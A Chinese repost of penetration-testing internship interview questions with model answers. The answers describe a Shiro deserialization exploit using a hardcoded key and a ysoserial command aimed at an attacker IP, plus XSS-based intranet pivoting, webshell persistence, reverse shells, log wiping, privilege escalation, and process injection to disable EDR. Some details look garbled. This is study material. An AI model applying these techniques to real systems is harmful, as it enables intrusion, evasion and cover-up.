2025年渗透测试面试题总结-华顺信安[实习]安全服务工程师(题目+回答)

news2025/5/21 6:05:12

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 华顺信安[实习]安全服务工程师

1. 自我介绍

2. 红蓝队经验

3. Shiro漏洞知识体系

4. APP渗透测试方法论

5. Xposed框架与逆向工程

6. 三大漏洞原理与修复

7. 内网XSS后续利用链

8. 目标站渗透流程

9. 系统提权技术栈

10. 进程注入技术

11. 应急响应经验

12. 系统应急操作手册

13. 安全工具使用情况

14. APK逆向能力

15. Python开发水平

16. PHP审计方法论

 华顺信安[实习]安全服务工程师

1. 自我介绍
2. 红蓝队经验
3. 关于shiro漏洞了解多少
4. 说说你APP测试的经验
5. xposed用的什么框架,有没有自己写过app解密
6. Xss、SSRF、SQL 产生的原因,修复方案?
7. 如果你Xss打了后台,发现是内网的怎么办
8. 假设给你一个目标站,你要怎么做?
9. linux和windows提权知多少。
10. 会不会进程注入?
11. 做过几次应急?
12. 讲讲windows和linux应急你咋做的
13. 用过没用过我们家的goby和fofa?
14. 会不会apk反编译?
15. 你python水平咋样?
16. 你php怎么审的.

1. 自我介绍

网络安全研究员,主攻渗透测试与APT攻防溯源,3年红队作战经验,擅长Web漏洞链构造、内网横向及隐蔽通道设计。持有OSEP、CISSP认证,多次在TSRC、ASRC等平台获高危漏洞奖励,主导过金融、政务领域红蓝对抗演练。


2. 红蓝队经验

  • 红队视角
    1. 钓鱼链开发:基于Cobalt Strike的HTA宏文档投递,配合DNS隐蔽隧道C2通信。
    2. 域渗透:利用MS14-068伪造PAC提权,通过BloodHound可视化攻击路径。
  • 蓝队实践
    1. EDR规则优化:针对Mimikatz的LSASS内存扫描行为部署Sysmon告警(Event ID 10)。
    2. 日志分析:通过ELK聚合Windows 4624/4625登录事件,识别异常Kerberos票据请求。

3. Shiro漏洞知识体系

  • 漏洞核心:AES硬编码密钥(kPH+bIxk5D2deZiIxcaaaA==)导致反序列化攻击(CVE-2016-4437)。
  • 实战利用
    python# 生成恶意RememberMe Cookie ysoserial.jar JRMPClient 'attacker_ip:port' > payload openssl enc -aes-128-cbc -K {key_hex} -iv 0 -in payload -out rememberMe 
  • 防御方案:升级Shiro至1.2.5+,自定义setCipherKey动态密钥,启用Cookie完整性校验。

4. APP渗透测试方法论

  • 测试框架
    1. 静态分析:Jadx反编译APK,定位硬编码API密钥、SSL Pinning绕过点。
    2. 动态插桩:Frida Hook checkServerTrusted方法绕过证书校验。
  • 典型漏洞
    • 逻辑缺陷:修改APK的AndroidManifest.xmlandroid:debuggable="true"进行调试注入。
    • 数据泄露:通过/data/data/pkg_name/databases提取未加密SQLite数据。

5. Xposed框架与逆向工程

  • 工具链:LSPosed(Android 11+适配) + XposedBridge API,针对SSL库注入实现中间人解密。
  • 解密实战:对某金融APP的libencrypt.so 进行IDA Pro逆向,定位JNI_OnLoad函数中的AES-CBC模式密钥硬编码问题。

6. 三大漏洞原理与修复

漏洞类型成因修复方案
XSS未对<script>等标签过滤CSP头设置script-src 'self'
SSRF服务端未校验用户输入URL启用URL白名单校验 + 禁用file://协议
SQLi拼接SQL语句未参数化预编译语句(PDO)+ 输入类型强校验

7. 内网XSS后续利用链

  1. 信息搜集:通过XSS执行navigator.internalnetworking 获取内网IP段。
  2. 代理穿透:注入WebSocket隧道代码,建立ws://192.168.1.1:8080/proxy转发SOCKS5流量。
  3. 横向扩展:结合浏览器密码管理器提取Saved Credentials攻击域控。

8. 目标站渗透流程

  1. 指纹识别:Wappalyzer识别CMS版本(如ThinkPHP 5.0.23 RCE)。
  2. 入口突破:FUZZ目录发现/admin/login弱口令(admin/admin123)。
  3. 权限维持:上传.user.ini 隐藏Webshell,定时任务反弹Meterpreter。
  4. 痕迹清理:删除Apache日志/var/log/apache2/access.log 中攻击IP记录。

9. 系统提权技术栈

  • Windows提权
    • 服务漏洞:ScManager数据库修改服务BINARY_PATH(AccessChk.exe 提权)。
    • 令牌窃取:利用Incognito模仿SYSTEM进程令牌(需SeDebugPrivilege)。
  • Linux提权
    • SUID滥用find / -perm -4000 2>/dev/null查找可利用程序(如vim、find)。
    • 内核漏洞:DirtyCow(CVE-2016-5195)覆盖/etc/passwd实现root持久化。

10. 进程注入技术

  • DLL注入:通过CreateRemoteThread将恶意DLL加载至explorer.exe 内存。
  • APC注入:QueueUserAPC强制目标线程执行Shellcode,绕过部分AV检测。
  • 实战案例:对某EDR进程注入卸载模块,临时禁用其监控功能。

11. 应急响应经验

参与过6次大型应急,包含勒索病毒(GlobeImposter变种)处置、APT组织WebShell溯源。平均响应时间低于2小时,依托Velociraptor实现自动化取证。


12. 系统应急操作手册

  • Windows应急
    1. 内存取证:Dump LSASS进程排查Mimikatz痕迹(procdump.exe )。
    2. 注册表分析:HKLM\SYSTEM\CurrentControlSet\Services查找异常服务项。
  • Linux应急
    1. 进程排查:lsof -p $PID定位恶意进程文件路径。
    2. Rootkit检测:使用rkhunter扫描隐藏内核模块。

13. 安全工具使用情况

  • Goby应用:联动Xray扫描器自动识别Weblogic未授权(CVE-2020-14882)。
  • FOFA技巧app="Apache-Shiro" && country="CN"快速定位Shiro资产。

14. APK逆向能力

  • 工具链:Jadx-GUI静态分析 + Frida动态脱壳(针对某加固厂商的DexClassLoader加载机制)。
  • 案例:某社交APP的HMAC签名算法逆向,构造批量注册脚本。

15. Python开发水平

  • 自动化开发:基于MitmProxy实现流量重放测试工具,支持JS混淆破解。
  • 漏洞利用:编写JWT爆破脚本(PyJWT库 + 多线程字典攻击)。
  • 项目地址:GitHub开源多个红队工具(Star数500+)。

16. PHP审计方法论

  1. 危险函数追踪:全局搜索eval()、system()等敏感函数调用链。
  2. 反序列化漏洞:审计unserialize()参数是否可控,寻找POP链构造点。
  3. 框架安全:检查Laravel的.env配置泄露或未开启CSRF保护。
  4. 实战案例:发现某CMS的$_GET['type']直接拼接SQL语句导致报错注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2380500.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

掌握Git:版本控制与高效协作指南

一、初始Git 提出问题&#xff1a;无论是在工作还是学习&#xff0c;我们在编写各种文档的时候&#xff0c;更改失误&#xff0c;失误后恢复到原来版本&#xff0c;不得不复制出一个副本。 每个版本由各自的内容&#xff0c;但最终只有一个报告需要被我们使用。 但在此之前的…

VsCode和AI的前端使用体验:分别使用了Copilot、通义灵码、iflyCode和Trae

1、前言 大杂烩~每次开发一行代码&#xff0c;各个AI争先恐后抢着提供帮助 备注&#xff1a;四款插件都需要先去官网注册账号&#xff0c;安装好之后有个账号验证。 2、插件详解 2.1、AI分析的答案 GitHub Copilot 定位&#xff1a;老牌 AI 代码补全工具&#xff0c;深度集成…

交叉熵损失函数,KL散度, Focal loss

目录 交叉熵损失函数&#xff08;Cross-Entropy Loss&#xff09; 二分类交叉熵 多分类交叉熵 KL散度&#xff08;Kullback-Leibler Divergence) 交叉熵损失函数和KL散度总结 Focal loss Focal loss 和 交叉熵损失函数 的区别 交叉熵损失函数&#xff08;Cross-Entropy…

【Part 3 Unity VR眼镜端播放器开发与优化】第一节|基于Unity的360°全景视频播放实现方案

《VR 360全景视频开发》专栏 将带你深入探索从全景视频制作到Unity眼镜端应用开发的全流程技术。专栏内容涵盖安卓原生VR播放器开发、Unity VR视频渲染与手势交互、360全景视频制作与优化&#xff0c;以及高分辨率视频性能优化等实战技巧。 &#x1f4dd; 希望通过这个专栏&am…

IDEA连接github(上传项目)

【前提&#xff1a;菜鸟学习的记录过程&#xff0c;如果有不足之处&#xff0c;还请各位大佬大神们指教&#xff08;感谢&#xff09;】 1.先配置好git环境。 没配置的小伙伴可以看上一篇文章教程。 安装git&#xff0c;2.49.0版本-CSDN博客 2.在idea设置git 打开IDEA设置-…

重构研发效能:项目管理引领软件工厂迈向智能化

1.项目管理智能化&#xff0c;激活软件工厂新引擎 在高速发展的软件开发时代&#xff0c;企业如何高效管理多个项目、协调团队合作、优化资源配置&#xff0c;已成为推动技术进步的关键。尤其是在多任务、多项目并行的复杂环境下&#xff0c;智能项目组合管理工具正成为软件工…

Vue3 中使用 provide/inject 实现跨层级组件传值失败的原因及解决方案

1、基础用法 父组件&#xff1a; <script setup> import { ref, provide } from vue; import ChildComponent from ./ChildComponent.vue; const parentData ref(初始数据); // 提供数据 provide(parentData, parentData); </script>子组件&#xff1a; <sc…

小白的进阶之路系列之二----人工智能从初步到精通pytorch中分类神经网络问题详解

什么是分类问题? 分类问题涉及到预测某物是一种还是另一种。 例如,你可能想要: 问题类型具体内容例子二元分类目标可以是两个选项之一,例如yes或no根据健康参数预测某人是否患有心脏病。多类分类目标可以是两个以上选项之一判断一张照片是食物、人还是狗。多标签分类目标…

Vue3——Pinia

目录 什么是 Pinia&#xff1f; 为什么选择 Pinia&#xff1f; 基本使用 安装pinia 配置pinia 定义store 使用 持久化插件 什么是 Pinia&#xff1f; Pinia 是一个轻量级的状态管理库&#xff0c;专为 Vue 3 设计。它提供了类似 Vuex 的功能&#xff0c;但 API 更加简…

02 基本介绍及Pod基础排错

01 yaml文件里的字段错误 # 多打了一个i导致的报错 [rootmaster01 yaml]# cat 01-pod.yaml apiVersion: v1 kind: Pod metadata:name: likexy spec:contaiiners:- name: aaaimage: registry.cn-hangzhou.aliyuncs.com/yinzhengjie-k8s/apps:v1 [rootmaster01 yaml]# kubectl …

⼆叉搜索树详解

1. ⼆叉搜索树的概念 ⼆叉搜索树⼜称⼆叉排序树&#xff0c;它或者是⼀棵空树&#xff0c;或者是具有以下性质的⼆叉树: • 若它的左⼦树不为空&#xff0c;则左⼦树上所有结点的值都⼩于等于根结点的值 • 若它的右⼦树不为空&#xff0c;则右⼦树上所有结点的值都⼤于等于根结…

如何使用通义灵码提高前端开发效率

工欲善其事&#xff0c;必先利其器。对于前端开发而言&#xff0c;使用VSCode已经能够极大地提高前端的开发效率了。但有了AI加持后&#xff0c;前端开发的效率又更上一层楼了&#xff01; 本文采用的AI是通义灵码插件提供的通义千问大模型&#xff0c;是目前AI性能榜第一梯队…

Android Studio Kotlin 中的方法添加灰色参数提示

在使用 Android Studio 时&#xff0c; 我发现使用 Java 编写方法后在调用方法时&#xff0c; 会自动显示灰色的参数。 但在 Kotlin 中没有显示&#xff0c; 于是找了各种方法最后找到了设置&#xff0c; 并且以本文章记录下来。 博主博客 https://blog.uso6.comhttps://blog.…

TCP协议简介

TCP 协议 TCP&#xff08;Transmission Control Protocol&#xff0c;传输控制协议&#xff09;是互联网协议套件中的核心协议之一&#xff0c;位于传输层。它提供了一种可靠的、面向连接的、基于字节流的数据传输服务。TCP 的主要特点是确保数据在传输过程中不丢失、不重复&a…

Linux学习心得问题整理(二)

day05 Linux基础入门 Linux语法解析 如何理解ssh远程连接?如何使用ssh使用远程连接服务&#xff1f; ssh进也称远程服务终端&#xff0c;常见连接方式可以包括windows和Linux两种方式 首先咱们使用windows窗口进行连接&#xff0c;这里就采用xshell连接工具来给大家做演示吧…

SOC-ESP32S3部分:2-2-VSCode进行编译烧录

飞书文档https://x509p6c8to.feishu.cn/wiki/CTzVw8p4LiaetykurbTciA42nBf?fromScenespaceOverview 无论是使用Window搭建IDF开发环境&#xff0c;还是使用Linux Ubuntu搭建IDF开发环境&#xff0c;我们都建议使用VSCode进行代码编写和编译&#xff0c;VSCode界面友好&#x…

Python虚拟环境再PyCharm中自由切换使用方法

Python开发中的环境隔离是必不可少的步骤,通过使用虚拟环境可以有效地管理不同项目间的依赖,避免包冲突和环境污染。虚拟环境是Python官方提供的一种独立运行环境,每个项目可以拥有自己单独的环境,不同项目之间的环境互不影响。在日常开发中,结合PyCharm这样强大的IDE进行…

使用Mathematica绘制一类矩阵的特征值图像

学习过线性代数的&#xff0c;都知道&#xff1a;矩阵的特征值非常神秘&#xff0c;但却携带着矩阵的重要信息。 今天&#xff0c;我们将展示&#xff1a;一类矩阵&#xff0c;其特征值集体有着很好的分布特征。 modifiedroots[c_List] : Block[{a DiagonalMatrix[ConstantAr…

SpringBoot-6-在IDEA中配置SpringBoot的Web开发测试环境

文章目录 1 环境配置1.1 JDK1.2 Maven安装配置1.2.1 安装1.2.2 配置1.3 Tomcat1.4 IDEA项目配置1.4.1 配置maven1.4.2 配置File Encodings1.4.3 配置Java Compiler1.4.4 配置Tomcat插件2 Web开发环境2.1 项目的POM文件2.2 项目的主启动类2.3 打包为jar或war2.4 访问测试3 附录3…

基于springboot+vue的病例管理系统

开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7数据库工具&#xff1a;Navicat12开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;Maven3.3.9 系统展示 患者信息管理 医…